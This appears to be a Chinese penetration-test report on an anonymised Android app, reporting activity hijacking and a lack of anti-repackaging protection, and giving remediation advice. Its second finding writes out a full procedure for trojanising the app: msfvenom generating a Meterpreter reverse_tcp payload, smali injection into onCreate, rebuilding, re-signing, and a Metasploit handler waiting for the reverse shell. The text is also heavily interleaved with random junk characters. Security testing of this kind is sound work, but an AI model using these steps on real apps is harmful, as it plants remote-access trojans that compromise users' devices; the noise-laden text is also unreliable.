) W) x: N* l: e+ W4 X1 ]
% @. x! }3 B( I3 U
# L! K4 `( A0 B
3 z2 d7 u& A3 P3 N" Q! n0 ?
0 f( [ t8 t. Q) g. B 表1-2 测试结果 * ~ O3 a3 a- |9 e. o( P3 O
! }+ V9 Y: z0 f
! H: _2 b+ w- _1 G! X5 N2 W1 L; a( `, q+ O0 C4 c% J5 P0 M; ^& U9 u
) Z% W) q; K: R5 O6 j2 E. i
" B1 M; v2 x3 Q+ p. C4 l' R. j
2 p' s+ A7 T! O# `# G$ W. R( r
! h2 Q% f) U. t6 w* F# h
) K7 ^" w) {9 c3 j( _% u, z
4 b7 s" H! n& `! M( \) @ 4 L0 j, t. ]" }& n b
( {" h7 d- m. m7 Q0 F. i
2 检测结果
5 K$ [/ D8 O) g( y1 Y* D9 r5 W) `: f8 }+ r" O
# h$ K2 `# g1 ~ F. F* y
* F# a' w" m; c. p0 g 5 x. B2 `3 X: ~$ D& n H
3 z' D& C4 J) z( ^( [2 D ^9 x
2.1 某某某
$ i( |! O7 J/ |2 v4 Q( e& B1 S1 C' z- I* J8 n" n
1 A L# Z7 {* }6 I9 m( {
, i+ S& d4 ~2 i4 z3 T G6 z, P' Q
3 n3 G# E, L" Z6 ?8 r
* |& _! ]: q/ ]& F$ U6 @ 2.1.1检测目标 $ l6 r8 h! U; W) h3 w e& Q6 o
V# }6 `" T- b+ c6 C9 S
8 Q6 j( H& M9 g, @* `$ ]7 }
0 r8 ^/ r! t7 ?' _. y( N3 N! _ : X- M7 ]* p0 U0 i3 m3 M6 o* ~
# p0 ]* u# s# F' ` 目标地址: 某某某某某某APP # V( i6 `% Z. ]7 M- B
9 K5 n" o2 b ~
. j( ~) d/ X8 z; f: w
" Z+ e9 k" L' S4 ^6 s. f3 J2 E 1 O' g7 B c) D- Y* a) V$ ?/ p" D
' d% G( r+ F8 h$ t6 S5 @ 2.1.2检测结果 + ]/ I7 J3 W0 i7 `' f
a% D( c9 \# N; n) f: \
* N" r) V- f& o' Z9 M2 M/ D5 Y3 _2 T
/ ]' V) y, x. E X
6 E% V. A) [. U, I; K 2.1.2.1 l9 I- U: X& ~4 \) S
* ~; B W* }. P) g9 ^5 p
$ T8 M0 _# U, Z2 G5 d! b1 T) x; w* ]
, q: ]+ y5 E8 W6 x$ m- l * e* M! {# z* K# e
1 j C/ T, u( Z$ h, a4 K/ a: _* X1 S 漏洞链接地址:某某某某某某APP
& \* C" p6 O7 n w- ~$ K! h& p; k7 H# M! [ P+ L5 d) k& B
- [, _* S- s7 A5 ~/ |
4 a' n6 i* f1 Y3 D" o6 U/ ^! \* r : m0 ~- |: ]; @
9 ]) v2 f+ u+ H' l# S! l `+ x9 G
1 b h5 B* P9 c( o6 }; @- {1 d; [. F/ S6 \
7 d! Y) C* y; T1 {1 X0 I4 I9 k$ {5 m6 O! p; n$ ?* q4 `/ B1 h1 @
$ S/ n- j% K- d" M6 a. N4 ^$ e
漏洞分析及取证:
- H) D, f+ Z, y M# r5 Z; x: ~' W# T+ B6 {: t# y' |
0 S$ Y+ v: O* @- A' b6 ?
- A# f+ b2 j5 v Y
' Y; e" o) ?# ?" W
: F, V& b' U! h8 C, G0 o
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
2 x: Y# R: t' a; A% G
4 S: N0 W. u; V: S5 c" M
/ @: x: W4 r: G O6 X0 p
/ c8 m: _6 h0 ?/ Z( o
1 V. k3 V+ q P! }2 Q' f
* B O6 t' G5 f6 ?3 T+ Q3 m; ~
- {4 t/ q1 S2 p* L7 l; [/ L/ k- p* g+ |
( X. w+ K6 I- i) i0 c4 ~! a2 u& o7 t- V2 G0 K1 m+ m, ?3 s/ w
5 q! m! P+ a) v: `& _ o7 p
8 s9 c5 s3 s" y! |$ {! v( m2 Z
$ o& G5 b4 L9 E. s
5 t' N0 A/ v) z8 v3 k/ m
5 A' Y9 }0 K; \6 ~+ } o
+ ^# `2 u3 @+ H$ b. O" K" ^. w9 |8 A
9 p" _2 ?9 x. q6 h; k5 A0 `& h
9 N( W6 z' P3 M3 W3 t
6 X, J9 X5 M8 h4 r/ z% i
9 r1 I; ~3 n/ W4 X+ A5 j
2 {! k& u% h" L+ n
) [! o. }4 ^8 B- u& J" V2 g5 E3 ^ & q4 C$ d; S1 i$ W+ j' |
- x1 i @( Z! s3 G
" h x4 z( _0 w% N; B9 }( n
. P2 n- `/ E. r
; g% M6 Q* B) e+ r7 S9 K& k. E9 N+ D! s
1 Y H$ x! r" f5 ~, k* E
" s- Z# U! o" g! N7 Z# B! G8 t
1 V/ F6 L$ w1 \4 |2 Q" V
2 n, s [6 W3 t# b5 c
4 k' \$ K# a+ v( ?
, r- L$ P$ n5 |7 U1 u 0 N1 o X1 ]0 _7 a1 k5 |* A) o6 p
; T# e, n8 z4 i8 F0 ]$ ]
漏洞危害:高 ) X; p H5 p& K F$ l v3 m1 i( _
2 O) ]$ f5 H: Y# i. L6 {' F! x# @
* p# O6 q4 ~1 I* ^) X" S: M- Q7 X0 _) R6 \. i
5 m O; D9 b: l. g% }1 X4 o" \9 i2 k1 ?
4 k2 A7 @. A* R2 P- t: b
2 Y. w. E( d" L5 O( q* f8 ?
( W V B- u9 N0 r* B" G , a( O! `7 X) X7 c& m
& h5 p" _6 `' |, [7 U
; ` Q! c/ B; }( y$ A
# e. R4 G$ I% f; d/ Z% E, d
| & F& X& x' ]2 S2 l/ q Y# G y
6 p- `! N4 Y( ~% b8 I% h+ X
5 J ?0 G/ F3 o1 H4 n* }
' y) T2 k! M5 b, C5 K6 I 严重程度
6 d8 E/ k5 r7 E( k% h1 N- n( V: q+ t' c8 E ^
+ L8 m) e* e, X# N2 N& W
( M9 A- J- v. b. {+ ~! i: Y6 e
|
% p" Z+ |1 T# P! g8 }4 M" h4 U& n- X% ?6 t# Y# _0 j
8 _- b2 ]2 m2 U' T; |
* z5 D. b' s' o+ e. X4 J2 s
0 _2 p% C6 g$ }! h! S3 W$ j
+ H5 H( ^5 l# O 高
, W/ R `6 ~; g# O2 K& Y9 e+ O- \3 }, Q- r
4 \ Z1 h) M- I% _7 `; [, ]) Z) c( A; E$ B
|
3 r: ^2 ^6 U9 W; K8 F6 B+ I) B( ?& x5 y0 L! }0 Y, Z1 T
j0 F/ ?7 _! X% [: x; v' T9 x9 N5 _) ~+ Z% {
/ p/ u( s6 g, D2 t- q, r% F1 {
1 A8 z9 q1 |$ K/ @% o4 K& v$ W ■ / ^7 {2 Q" K" l4 m9 N e7 v" X
; q6 \. X+ R- P- e5 e
8 x: i4 x1 l/ P* ^$ b
9 x+ d5 ]4 S+ O7 H, Z | ; m- ]! r) W. [. s! H
) M" m9 Z+ t* M5 F: p- |
5 o' v, D4 Y I5 r \$ K; M5 p" U6 F) o g9 G& d# Q
1 j) D6 n( d* h3 w2 Y+ b4 P9 m/ ]+ T7 F! W; Y7 F7 ~
中 9 t7 i! T* x* C- @
# j" l& ~ E3 L2 L2 @
u0 d0 f7 q: k# S
& B( }0 p& z0 z; m- h3 X
| $ L. \. C( |7 U0 O4 F" G' p
: Q F `& s, n; e# W0 B% o7 p: U0 T; T
% Q. G( D, l( @" O$ ?+ x
. Z8 ~2 E0 ?9 g) c6 a
3 C8 q: @& r n$ _5 a
- w2 f" n7 V7 k8 H: D
3 {# V9 b( w- F& Y5 m; }
4 {" E3 `, P8 ^- O0 f% H. d/ b ( C M6 k9 Z! v
9 d8 L! M A/ p! v) e |
6 Q. t9 l- b" W2 B) D2 m- _3 U9 Y; I- @" I. j
. u9 p* _/ K( J) ?, y5 m5 P( n
- [1 j6 Q: l: f% d; M6 C
# \, M6 `: D- E5 p! `5 m3 k# b! |; [& O' Y: e. E' A
低 # P5 q- M$ B) o
3 @2 U+ F9 s- R- _9 u0 S- J 4 l. p q/ b6 q' \) b
! Q9 I7 m9 @( B8 _! f) _( m | / l, s+ N, ?; A" W# g @! Q2 @
( P6 }% T7 Q9 u3 ]" M, N+ Y; b) F' q8 _
4 o" Q! z4 i2 T1 z. t2 d! o1 r- O' \% P# @$ m: r
5 K( I) D. u# y8 T5 P6 S
2 d# W2 q( N3 B$ d
, i+ W$ p( L( a" e, E0 Z) [9 C+ d- h! J& @, }( W
' I: ~# f- B9 \$ y' s5 m
, P) M. Q2 x1 @9 K
|
2 x8 X& S+ z W+ {7 Y
" D3 J" ?6 r/ x0 M
- c$ z5 g r7 C( P s, V
$ p: |3 I2 X7 ?6 m4 O. |- A7 u
8 ^) d$ G$ e) G0 ^* _& b4 O: O& M
/ o' A# t: r& I n8 R+ |
9 G! F; w: B* E3 D& `
% L+ d; S9 ~! y- k
* p+ p" ]6 z+ e% R
P# M4 V2 j- S. l- x $ g/ N2 [# f5 O* t$ F! |
& T9 r- Q* E6 Q* t1 P0 v ) O7 w: x9 E/ q- z, Q4 F
% {8 v F! C( [# b/ o6 P
+ D5 @1 x! g* X) I R% P: ^* Z* k& g, [- b- W7 i
3 y& ?+ i, S8 e. z! k
7 q0 ]4 y) b, B0 K- \
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 $ Q, K% F' b- K. @+ [
" u) ], W- m1 @+ V& n& r
- A0 ~+ [3 F! V% u6 X7 Q
- ^9 D ` ~5 _! l. r3 V 8 z2 I, \0 o7 k3 d' p$ H
1 I0 w* n1 m( m& L" f : r$ B6 z' N6 ]* [9 }
4 P v: { M( U/ R, k6 s5 z; @
- k9 U* u! [& \, H1 ^8 N3 t# p: ]/ }
. X* E$ a. V2 N3 p% z5 [
; J% ~8 v6 h$ w" ]! c( D$ Z
, Z8 k8 L7 t( z2 W! ]8 s g+ ]( ?* M& N % I, j" e. K' F9 Z' j. i7 d
" f* t( [, V% J$ p
- f+ p+ q. @" i. N1 L2 a% v# p
6 B/ Z- ? Z: U1 @1 f% R% \& e
1 J, x) |# M, x9 d- e2 N2 w
. [; J+ w0 E! j" J( Q9 |: ^ 2.1.2.2 ) G2 q+ w/ U- ]' Y
* d Q1 Q; D f: M7 V; u/ M
6 R% K& s/ E! [" q# r7 a" P) X
+ G! {9 j, }5 X% u( q) X! {
. e4 j, x2 f* q
" N3 d6 t7 T9 c) U2 \6 ? 漏洞链接地址:某某某某某某APP
) m; s% Z! \; g# e* o. s- N4 N' P2 J3 b4 j! |$ P7 X& Y
/ b' Q" t& S' s
; ^$ K: o2 G+ P' h1 h5 J
* I* g0 Z5 q& `: ?; |2 b, L9 p+ h- Z. f; z+ H! I% | m" R' O. e
漏洞分析及取证: * w$ q/ @) z( A0 H
6 U0 `/ K6 a2 l% r6 m( ^$ K
% w! x" M* I4 w: s
' R7 A4 ~) |1 v1 Z9 x* N
7 E- r! N+ c3 i7 A1 I
K1 G$ A& l: }' ]& t6 q 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
8 x3 d6 c3 g9 {" \/ H) T' {# c4 }$ l; f) F( e1 E
' N6 \: |( V( y2 a3 r
* j7 k$ x: b- w$ {# t " }9 ?! F9 S# E4 P- Z
* C9 P$ |* w* m( l! x( l+ N 用Metasploit 生成木马 apk
4 ~+ H/ ]1 e8 w5 Q/ g1 n( `' a3 F
# y( M+ R4 C' B) F
) ]0 p) e- ?4 D" |4 c& @' G: a
; G3 M% D7 j1 J% `( w! x" n D" ^+ X# q8 k! @
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 0 ~4 }8 K2 k7 s: B: r
4 z! b& n- q$ n; m o
! x8 y. p _( K+ E
* p0 E; C2 s, B5 J! b 5 i: _0 L& M9 x1 I- y
& w+ D9 j* }" @; @8 r, U 反编译目标apk和木马apk & X$ l6 E% d" \3 \7 n6 J% e
/ ]0 }* ?+ k* T1 Y d
. J1 I8 r' o) Z# w
R8 L! u4 u: q9 }/ r, X: G& g - O' @' M! N' z* `3 K% {
4 a1 \2 N; z' q0 }, n
apktool d target.apk
! X" N0 L* b6 i/ Z5 x( p, K0 e. \. _: x8 d& S" f2 N& k/ G
apktool d cockhorse.apk
# G2 ^' E/ l' l8 \# F+ U P
$ D$ d2 f* r1 H Z' j
1 N9 L1 E' [! ]! A2 S3 S
/ j# C' n9 w% y( ^! ~
8 G1 ?8 J1 Q" B, L, \
1 z+ ]4 G- T0 T! ? 木马 apk 注入目标 apk ! i) \5 [( u3 B* H
0 W2 I5 [7 b" e/ @' O+ J
1 H/ S* A" V4 l! m U0 l% c. X A6 A2 `
7 C: x- H7 b/ w1 a. h+ e& O
9 x8 x- t; _+ [+ U
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
0 b' Q8 n( e" y( I2 e0 w) _
) D" J1 l1 q; N invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V O0 t* C; U$ k0 y: p; C
1 o" @! P1 z/ t' x e* E# b
; _: }6 W' J7 {; H p
) D, A H6 j- ?2 y / G3 T0 U/ ?$ r; y6 i; _; _1 S$ k
$ J2 ]4 {3 k8 D4 M
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 , O7 V8 P, t1 h1 B( k8 b7 D
! T4 \; m; \- w. I3 g/ k
) o8 T5 i8 h2 i3 H
, f# c; W% ]# x5 t6 ^6 X& n+ H . H$ F, @ b: ?
2 Q% q# Q) j0 u6 m; y* { 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
; P$ w8 Y9 w( Y" z
% d# W ^; q: j7 f
" k( w1 _, B1 t. A8 v, |# I3 k; v% `$ m {2 ^) F
0 f3 U/ j6 q& o3 \
' ~$ B+ R4 t& G" M8 R& Q 回编译生成最终 apk ; |; {5 ^0 O' f0 |4 A/ j) c
/ X3 ~7 j( X7 c4 ~: X/ Z
& N% R- [9 F7 v, d$ T+ K9 Y+ ~! Y w
. z0 U1 ]& S" {" \1 Q/ G
& v! @6 |+ t1 S% x; W$ N) H9 F3 q! ~% q- K
重新打包
6 h" D3 v9 V1 `' t
% B+ E9 c1 Q$ e/ U7 J
9 X; \% C5 q4 _5 Y7 c
! G! G1 n. l- P S h9 H3 e; _! T
: e3 v9 m& }; K# T; F8 T, Y1 u5 Z( v7 v# C: n
apktool b -o repackage.apk target_app_floder
Q- P2 T% w- k) D: i
, ~. x2 x/ W* ~' ^. ^
h$ f4 \4 n: R! ?$ }0 I: A
. C9 B7 m. S3 [& ]# O: L$ F
0 a5 v) A: V9 p Y4 B6 ^
3 O9 p+ S5 Z$ z9 }6 G% v 创建签名文件,有的话可忽略此步骤
( ]8 R+ O6 {! O u/ f
8 x/ b8 M! F! z# m: ^' X
6 H5 J$ d r* Q6 O
; S/ w3 j! n& ?3 z" m- T
7 B, o3 v4 `+ _) o: e6 G6 @5 s& r
7 Z. x" a: d- ] keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 7 P7 L2 h% b4 G- J1 }
* e# W! s/ n- @7 f, S T+ J
. d# x6 Y) I/ ?! R( }0 B! Q& Q) M/ T' _6 k' A
7 }* V+ R# D/ w% L
. O. f3 A$ c' `: X
签名,以下任选其一 0 b% Q- J5 a2 d- _
5 c1 ~- F, }. ?" g
1 N& s, L# Y, Q/ n5 `3 j" E7 E% i2 ?0 t! K5 x
1 z, {6 T3 I7 O6 R
9 p' G; a9 y5 s: S% |! M' g, R
jarsigner 方式 , c- f. Y( A1 D- x8 m) s7 l0 V
; i' s5 |/ y, w) f z7 q: I
9 M; |" V3 k. Z5 ?
- L4 B' m3 c9 C5 M: E0 X8 [2 f# P
; v# x( w" o5 R+ `. l- |+ ^, G3 i' O
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 9 L* u, r3 w7 Q2 d2 {$ R
/ n n) e. f; H# k, d. S
* A4 E+ b' W# l3 }" l: @/ Q
1 I/ y& ]9 m6 F& j) ^4 E
- o6 ^, ^& |& e. _+ X$ u. t% _" h! C+ H1 J" a* D9 E& p- z8 R
apksigner 方式 7 k; r6 D# \& d3 K, W
( G8 S; e5 k2 L
' |+ O) ^) R8 |9 V
5 v; d1 N+ l( K. t2 _
/ O& {5 q8 m" X; b9 V
5 {2 P7 ]6 ?3 W1 s* x apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
7 N5 L& L# a2 n% `) d: N. y/ H$ `$ J) E r2 j& ]! F( c" g$ c. n
1 \) k8 @5 G8 O( X2 g* R
8 t3 Y# G! C: F/ X% ^
( R {; y# H O- b
# E: d. i) o$ _7 ^3 k* ] 如需要禁用 v2签名 添加选项--v2-signing-enabled false # [0 ?& D/ N2 y+ U; ?
, r. R! g1 U# E1 B) z8 e
5 F$ ^- I: k$ v; _- ?' @
. c4 C+ m# z& J; E1 |9 p# R, u
2 {; N3 |) c$ R
; t( q0 P/ |* @# _$ H 验证,以下任选其一 % F7 m2 l5 X* k$ D( `
! t: D( f( Z: J5 [
( Q3 h$ C; `3 D/ p. {$ N% r* E: f/ G I: R' k8 f2 ?0 \
7 o/ @7 S) w% \& a& G5 m' g
- J. }5 G' {- ]* c' H6 B# \ jarsigner方式 2 ~, @" F; }( m0 O
7 x' h$ M. V4 _8 a% }6 ?
N1 J q: K0 _/ \' e9 I. C
& H* J- b. k$ ~
7 d; a& Z9 n# Y* [
5 \5 T8 a! j. h; r. e jarsigner -verify repackaged.apk
4 f. g ~0 ~2 i; ]) M4 o1 p' a
8 R# {6 t$ s5 t0 t# {" D* q
( B0 U2 U x% h
9 \# n+ u" e8 |5 d5 j& x
' B# e" @& A9 t7 ?
D5 i( E8 w, q apksigner 方式
. z0 @' i" f2 e- C/ V# U5 n3 k
7 h$ {; @+ L: Z- d/ L
5 Q; x/ f0 a5 E6 N. a5 [9 i+ Q9 j
: j( H8 F: J" l' R5 z! y% Z
8 M* E, D H4 S1 e# V3 V3 S0 K6 Y0 y$ s* f6 y3 b' @5 {& N
apksigner verify -v --print-certs repackaged.apk ! O- l4 X% p& N' r
* V* g$ |. V' T
5 Q, T7 X0 ^% T7 ?. z
4 v1 {1 B' E5 k
) X( t) g. |+ H+ F& p# C& ~9 K( b6 W! e5 i
keytool方式 & z, L1 k7 [. Q9 C1 s( y; {
" G7 y% L% E6 H( J3 `5 A& k$ G1 V2 ]
- W1 ~- y5 X* f+ F9 _! C
8 I9 K1 S: @' G. K9 n ! B% V3 J# T0 \5 p8 ^4 A
9 f Z* p% ^& h
keytool -printcert -jarfile repackaged.apk
4 c. _+ D) \3 h# F- u" N. A
% X. P1 t v' g: u; Z
6 E$ x- j H5 f7 d1 O1 C. j6 }
. S& z$ A n$ L$ w6 e2 L
& |2 l- d# u" }2 T$ ]) M) K" G L- w* |% S8 T! s9 X2 n
对齐 % C4 j; k& w% {
, e/ t1 S& {# O
" n* x7 v" `" m* ^- A( h3 ~5 {
( f- P$ T" O* `9 U% c $ J8 k S! v s6 ]2 O
% Q5 Y9 a. J# b
字节对齐优化
3 R0 f% _6 Z- ]: c! y/ g
& f4 Y. [! n5 l$ T& ^5 t
: [$ d& g4 t' ]& d6 W, _! {
( B5 j: Y5 S/ F4 H- W ! P0 d1 X( z6 Q8 j3 C4 K
2 ~2 M2 C) c% `) X zipalign -v 4 repackaged.apk final.apk
- e5 U, w$ I S- P+ W1 w' U. o/ |4 g9 e; N% Y- m
# }4 H3 B# e6 u
' ?1 R5 n g& d
' f4 \) e" J- `4 U; R- m8 I7 l T" \5 z
检查是否对齐 i2 l* X2 @' F" G8 h
/ P4 h* F t# X! g {
# I0 n- s1 g O+ l9 M
$ }: @' H) x) h l9 R
" A$ d3 c: w, W; a8 U. B- z# }
; J2 i* }4 e5 T3 b zipalign -c -v 4 final.apk 0 _' [9 I# x3 m: B5 d- k( ?8 O
$ S5 u6 ]; ^+ p% f: ~7 O
0 |0 `6 W. X. U, H5 j9 i. i
$ `/ J m0 t* W
y9 W. K$ \0 X8 h# J( W0 F" F# w: F6 ?0 D* ?6 A, V
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
! \& @: K# \; n4 M* r7 t5 X l* ^" T _+ S7 r, X/ x
8 B: h u, N; \. G$ \8 B; S! k" q6 |. G0 a5 ^7 ]
( Z' L5 p4 o& x) W% n N7 @8 A
( T9 L' A+ u- b* r+ D& Z' k' G# K 启动Metasploit控制台,配置参数等待上线
" V2 E, f. @1 a0 b. a0 h( J; H
, u. I0 ^1 e; y
0 Z1 A+ _. l3 k! e2 G+ [1 L6 K3 e6 P/ G
: \; O& j3 D- ]$ n K) a' z% D# a
* M# V% D& `7 r* ]: i; u* m7 e 在终端依次输入如下命令
" B3 m7 |0 S: q; g2 ~0 D- B+ T
. k& A) Y" _3 E8 z, c: c
) m9 l0 U' A8 j0 {8 `) B
6 F1 U3 O+ ?6 n2 r! q3 K& q" m
6 Y/ A" C9 s9 C0 U
$ F/ q3 k& m) N( l6 m
msfconsole & n0 A8 F; y& X' q
+ f0 a {& R1 E* T/ J7 K
% O4 I' o) u# @7 E
, r( w- X6 b6 `( U4 S: J
2 _: L4 `3 l% e8 |) s6 i
% U9 M( `3 V' J- }0 y9 n
use exploit/multi/handler N! q1 g6 k+ k* V8 ^+ J
4 F J. W6 M8 D, v P" w9 P/ {5 ?
! C a3 `/ l& W8 h# h
& k% z. j5 X! l/ H - N# \- G8 @4 n- `: U8 j% h4 i
) e0 P- g# I. N! Q& B* v( [" z6 }" f
set PAYLOAD android/meterpreter/reverse_tcp ! d+ X7 A" S! e( R- C
5 Z. j3 q, ?, [4 _8 [' h- @
! _8 A% K+ N) [* Z
+ A9 q' H! r( [1 P 9 V+ P" S5 O/ O( p. P; I
4 `& f6 B# n$ f9 k2 { set LHOST 192.xxx.xx.xx 2 _ ~/ e4 }$ p( {
2 v/ b! d W, j! H* L' ?0 }
- f9 ~" l( p- \& K1 M" L& d4 a5 ]
/ X: |: g+ f$ n3 ^1 T3 C" w$ N/ w # w4 p- a+ D# X0 U# n' H
( M! z' Q+ J1 X; k+ v set LPORT 4444
! P( F/ ~1 A' k+ I T. A* O5 k0 Y7 U. C4 a$ q/ Y; N
: s* a, N( k% b% Z- C4 P: _
! d' i$ @4 N& F! W& X% a$ H
& e& L# d' u& e% {: ?, }7 a% b- e1 J( b2 t! J* v' I( I& `
exploit # C# J5 R. ]; \
" ~) X" S; v. I S0 H
. d* R/ F' f- O c( D$ K
/ }% F; |9 d2 E+ {& |2 Y; V0 g
5 a {6 B1 @% I/ _1 W+ G
4 [. `. a b* m( X1 E% a. q/ z 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
7 |% s% T7 e5 P, V
W; ]7 L# u( n: q" ^
8 y6 j& w" Z/ Q) M
4 D* v6 }$ I( A8 B. t
: |2 R- H* y3 R4 c& `; D% ~' i9 e0 j Z; k
漏洞危害:中 . C8 z9 `5 Y! W; l X+ Z/ M& w
0 I/ t8 P. s- W- t
* e( J# Y } m
: M! T" H+ m' T& @4 q
8 a* B7 S: D6 S' w @ q' }: r
3 u6 W! H; {( d
5 \% {7 N$ q3 V1 @# g: b7 N' R/ i- }+ E" T. D
: X3 F, W$ ?- \; A
1 c |/ k4 A# C' L1 y. g
7 a, ?9 r; S& u% E2 p! O E8 _% T3 T1 r/ N/ ]$ B, S0 G" \
4 v" F( M/ z8 Q! Z6 O/ f* g+ S
8 [, g2 [! a4 s0 Z | 9 `3 F9 }0 S+ O# y- j
! p$ H, u: G0 J$ G' i# j- C+ c 6 G4 Y& E4 ~8 W$ q N
+ x0 ^% G0 z( B
严重程度
# ?! L, G# f+ ]" O- W2 k
3 S/ Z' |, d' h6 i: t 0 l7 B+ Q# @, x
- H; i& w0 t% b q7 c& I/ m$ ` | - A7 M) b% ~6 T0 E j
; ^' B, U' E5 W2 M; X ; z6 D& t/ @% ^1 w- Z% L% h
9 A& A$ I+ M7 V- g! B: M. Z+ ] , Q) e$ r+ j" j" w5 G9 ?
% @) s3 Q3 _, }: B4 w
高 6 l7 h4 g; L. h4 _5 ]
6 j1 }, s6 E3 ]: E( L: c) n7 R! I7 q
, w* C& l* n# V ^9 u
w! R g4 q% O! B |
2 b2 R- y+ G# X6 u; x2 T; _* s8 F
8 n* y% U& _7 s8 a, L3 z3 p. ^" C) X
6 s9 S; ]) _3 i$ k2 K- a! C4 P( z% w8 |- C$ {- }" s: u0 \9 ]1 p* V
& @8 A1 U+ J/ d. N' N! D
9 R( g9 _! W% r. n( w$ k; G ■ $ N5 H6 o; z2 o
5 w" R4 `: b2 y# B! Q# w
/ O! p4 @( _' K2 V0 A; c& x" H
5 y& w! M3 n6 W3 `& j | 6 {: m# n O/ _( {5 w) C
$ J- t( V5 S+ l, v9 h3 f; s
6 A8 P4 V& U5 v5 t1 ?% d4 H$ G* g7 V' m5 H# \- l7 ~
- r6 k( ^ I' n- n* Z1 L5 g) e6 p) t/ |) I7 O% R2 K T& e0 E
中
1 A( I/ p* N, q( \) h2 R' {! ~" j
) {5 d8 y* e- P9 Y+ L/ ^* B2 L
& ?+ \" {+ L9 W" \4 k) y7 Y& j8 G' `2 n- s5 p; r! x! w5 a) `
|
. J t$ u N5 W3 i2 S6 \
, M1 |; g% Y# X
* A2 T$ L4 m k6 ]0 J
/ o% ^6 C ]+ u+ y9 N1 _" G) m 9 w8 z$ r3 k+ Q( p
; x( U) p% l4 i$ _
! w; S! v6 S4 S' d5 z
! C" e) c% Y% u5 o: k* @
( C H& l$ p( }8 R
8 e6 s! o v% c
6 I% K N% e! V5 W' j0 } }; _- t1 Y8 v
| # c8 ~( c% ~! c# ^- b
4 \0 [$ t0 u8 |, O
* A6 \; T6 o, U0 L: R8 a6 o& O. \: H5 t9 @
; b! ] a3 ^$ a2 I2 I7 |1 X
# }" [4 P" _* i2 w' G! k$ t
低
5 v+ I; }7 @* G
& K& n2 L+ C4 i& V8 ~/ A
* z E' ?7 U' y" @6 P$ }5 R3 D- R2 l5 p2 b# c
|
& O" @7 ]$ n9 e
% x8 g# H6 _# X! O4 A
- V, H8 m, f: E# K4 i9 ^! L. |) z6 p# R0 x1 |9 v; p7 a# x
# I+ {: N ~* o! Q {
( |/ o% l3 t) u
, O) V8 r1 p& k! |% ^( f0 q% \4 r# T" }+ v
( A3 o/ E, {0 }* B( P
7 N6 ^# `+ T! x$ X# d 1 j# z5 m2 i- } }! d# T
7 D' i" h3 w4 _/ [: H( n | 0 \# |+ G5 @; D1 j* S: p1 J
( y) P7 f/ c N6 S9 o/ n
+ n7 F/ M, X% D7 W
" \6 I( |: z. p% x3 C) w& E a
2 b# G4 N& z9 c m$ R3 H* N& Z" }; Z: N" W3 u+ S4 B
0 }; V# j8 V8 I, r
% p! Z5 R4 d0 x# D ! E3 ^1 G9 `, N& ~$ n/ N7 ]" N C
/ h f$ R; K3 |- a
+ P6 y9 ~; H; V/ M- J. _# t2 I: ^. U9 B9 Y( a1 w8 _( `
7 h7 b! v2 U( T' x6 s2 H( l- B1 m2 [' _1 t/ C
( D' V8 J1 ]' L5 q5 j' j
/ F9 g1 Q! t5 o9 z/ ?
% ]+ n% B u5 }' |
, r. v W S, c9 Q, W7 ?8 L 修复方法:
, E0 C2 F8 F# f; I: Z. h( _# u1 H0 q, ~+ `6 c3 b" J
0 Y( _) r2 e9 Q7 w$ U' a2 z4 r" K
- v H; {6 _; C: z+ {0 O$ u
; u0 b/ E( h( I
+ i; z8 s0 }4 Y+ E* u 1.在 APP 启动时应做签名校验防止二次打包。
" x4 |8 c5 C( D8 A7 J' M) o6 q
* {+ T- Q* f0 q \2 N9 Y5 H 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 # s7 Q6 o s& N* }4 e# W2 B ~# C
4 y+ e4 [+ i4 P" I l, ~1 b5 L
( c) }, D% V- c5 Z b9 f; H
! O$ ]8 x; V9 b, y6 {* M
) n7 B( T {- ~) {/ C' h
" {6 N) ?8 I, o+ l; F9 W
( H4 t1 a# g5 Q2 y0 J5 O; P' }. B" o/ Y6 M# R7 [
+ R8 ~8 X1 _3 m4 P. ]
' c% v4 d5 T8 i5 @9 ~( A1 Y4 W
- E3 A+ f) Z; s9 Y* B6 Q4 y G
0 c3 }" ~% W9 J; w& ?1 i9 ~
' c0 p7 F" {3 n8 t) j7 z2 A: T
. W Y* t D& `; A5 G; ~: q- i3 x
! }% X$ l2 x N. m- H; ^
' `7 v5 G+ }8 O2 e" u- j
. K5 L+ I$ J* N3 A' g. l) q. o1 S0 J" n5 T3 b
5 S) n" O M+ Q# ^
$ S* @% G5 O2 A+ \; ^